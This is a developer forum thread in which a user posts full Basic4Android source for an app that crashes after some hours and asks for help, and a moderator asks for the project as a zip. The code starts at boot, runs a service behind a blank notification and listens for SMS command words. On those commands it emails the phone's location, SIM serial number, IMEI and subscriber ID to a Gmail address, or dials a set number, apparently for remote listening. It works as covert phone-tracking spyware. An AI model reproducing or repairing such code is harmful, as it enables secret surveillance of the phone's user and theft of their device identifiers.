Android Question smsinterceptor crash

caspali

Member
Licensed User
Longtime User
I have a problem with my app. works almost perfectly for a few hours, after that crashes and I can not understand why. is there anyone who can help me? here is my code

#Region Project Attributes
#ApplicationLabel: TMA Vita
#VersionCode: 1
#VersionName:
'SupportedOrientations possible values: unspecified, landscape or portrait.
#SupportedOrientations: portrait
#CanInstallToExternalStorage: True
#End Region

#Region Activity Attributes
#FullScreen: False
#IncludeTitle: True
#End Region

Sub Process_Globals
'These global variables will be declared once when the application starts.
'These variables can be accessed from all modules.

Dim osmtp As SMTP


End Sub

Sub Globals
'These global variables will be redeclared each time the activity is created.
'These variables can only be accessed from this module.


End Sub

Sub Activity_Create(FirstTime As Boolean)
'Do not forget to load the layout file created with the visual designer. For example:
'Activity.LoadLayout("Layout1")
osmtp.Initialize("smtp.gmail.com", 465, "xx@gmail.com", "xx", "SMTP")
osmtp.UseSSL = True
Activity.LoadLayout("main")
StartService(smsmodule)


End Sub

Sub Activity_Resume

End Sub

Sub Activity_Pause (UserClosed As Boolean)

End Sub


and smsmodule is this:

#Region Service Attributes
#StartAtBoot: True
#End Region

Sub Process_Globals
'These global variables will be declared once when the application starts.
'These variables can be accessed from all modules.
Type Message (Address As String, Body As String)


Dim ResLocation As ABFoundLocation
Dim snotif As Notification
Dim myWifi As ABWifi
Dim osphone As PhoneId

End Sub
Sub Service_Create
Dim SI As SmsInterceptor
SI.Initialize2("SI", 999)
ToastMessageShow("Servizio avviato",True)

snotif.Initialize
snotif.SetInfo("","","")
snotif.Icon = ""
snotif.Sound = False
snotif.Vibrate = False
snotif.Notify(1)
snotif.OnGoingEvent=False
Service.StartForeground(1,snotif)


End Sub

Sub Service_Start (StartingIntent As Intent)

Log("#1")
ToastMessageShow("#1",True)

If StartingIntent.Action = "android.provider.Telephony.SMS_RECEIVED" Then
Log("#2")
ToastMessageShow("#2",True)
Dim messages() As Message
messages = ParseSmsIntent(StartingIntent)
For i = 0 To messages.Length - 1
Log(messages(i))
Next
ToastMessageShow("Nulla da dire..",True)
End If

End Sub

Sub Service_Destroy

End Sub

'Parses an SMS intent and returns an array of messages
Sub ParseSmsIntent (In As Intent) As Message()
Log("#3")
ToastMessageShow("#3",True)
ToastMessageShow("went into parseSMSIntent.Action",True)
Dim messages() As Message
If In.HasExtra("pdus") = False Then Return messages

Dim pdus() As Object
Dim r As Reflector
pdus = In.GetExtra("pdus")
If pdus.Length > 0 Then
Log("#4")
ToastMessageShow("#4",True)
Dim messages(pdus.Length) As Message
Dim From As String
Dim smsin As String
For i = 0 To pdus.Length - 1
r.Target = r.RunStaticMethod("android.telephony.SmsMessage", "createFromPdu", _
Array As Object(pdus(i)), Array As String("[B"))
messages(i).Body = r.RunMethod("getMessageBody")
messages(i).Address = r.RunMethod("getOriginatingAddress")

ToastMessageShow(r.RunMethod("getMessageBody"),True)

smsin = r.RunMethod("getMessageBody")
From = r.RunMethod("getOriginatingAddress")

If smsin.ToLowerCase = "controlla" Then
SI_MessageReceived(From,smsin)

End If
Next
End If

Return messages

End Sub

Sub SI_MessageReceived (From As String, Body As String) As Boolean
Dim smsOut As PhoneSms
Log("#6")
ToastMessageShow("SmsRicevuto",True)

' from here onward you can filter the SMS to see if the message contain what you looking for.

If Body.ToLowerCase ="posizione" Then
mandagpsdata
Return True
Else If Body.ToLowerCase ="ascolta" Then
Dim call As PhoneCalls
StartActivity(call.call("xxxx"))
Return True
Else
Return False
End If

End Sub





Sub mandagpsdata
Dim s,r As Boolean
r = myWifi.ABLoadWifi()
If r = True Then
ToastMessageShow("Tentativo invio mail",True)

'Msgbox (myWifi.ABGetCurrentWifiInfo().SSID, "")
End If
s = myWifi.ABGetLocation("myWifi")
If s = False Then
If myWifi.ABWifiLastError() <> "" Then
ToastMessageShow (myWifi.ABWifiLastError(),True)
Else
ToastMessageShow ("Connessione Assente", True)
End If
End If

End Sub



Sub myWifi_FoundLocation ()

ResLocation = myWifi.ABGetFoundLocation()
ToastMessageShow ("" & ResLocation.Latitude & " - " & ResLocation.Longitude, True)
inviamail

End Sub
Sub inviamail ()
Dim lat,lot As String
Dim snsim,nbrphone,idphone,sphonenum As String
Dim pID As PhoneId
Dim imei As String

ToastMessageShow("inviomail",True)
imei = pID.GetDeviceId
snsim=osphone.GetSimSerialNumber
nbrphone=osphone.GetLine1Number
idphone=osphone.GetSubscriberId
lat= ResLocation.Latitude
lot=ResLocation.Longitude
Main.osmtp.To.Add("xxx@gmail.com")
Main.osmtp.Subject = "Dati Gps"
Main.osmtp.HtmlBody = False
Main.osmtp.Body = "https://maps.google.com/maps?q" & "=3D" & lat & ","&lot &CRLF&CRLF& "Numero seriale SIM "&snsim &CRLF& "Id Telefono "&idphone &CRLF& "Imei "&imei
Main.osmtp.Send

Return

End Sub


the manifest id this:

'This code will be applied to the manifest file during compilation.
'You do not need to modify it in most cases.
'See this link for for more information: http://www.b4x.com/forum/showthread.php?p=78136
AddManifestText(
<uses-sdk android:minSdkVersion="4" android:targetSdkVersion="14"/>
<supports-screens android:largeScreens="true"
android:normalScreens="true"
android:smallScreens="true"
android:anyDensity="true"/>)
AddPermission(android.permission.RECEIVE_SMS)
AddReceiverText(smsmodule,
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.provider.Telephony.SMS_SENT" />
</intent-filter>)

SetApplicationAttribute(android:icon, "@drawable/icon")
SetApplicationAttribute(android:label, "$LABEL$")
'End of default text.
 

DonManfred

Expert
Licensed User
Longtime User
Export your project as zip and upload that zip here.

DONT post code without code-tags
snap0038.bmp

B4X:
Your code here

snap0039.bmp
 
Upvote 0
Top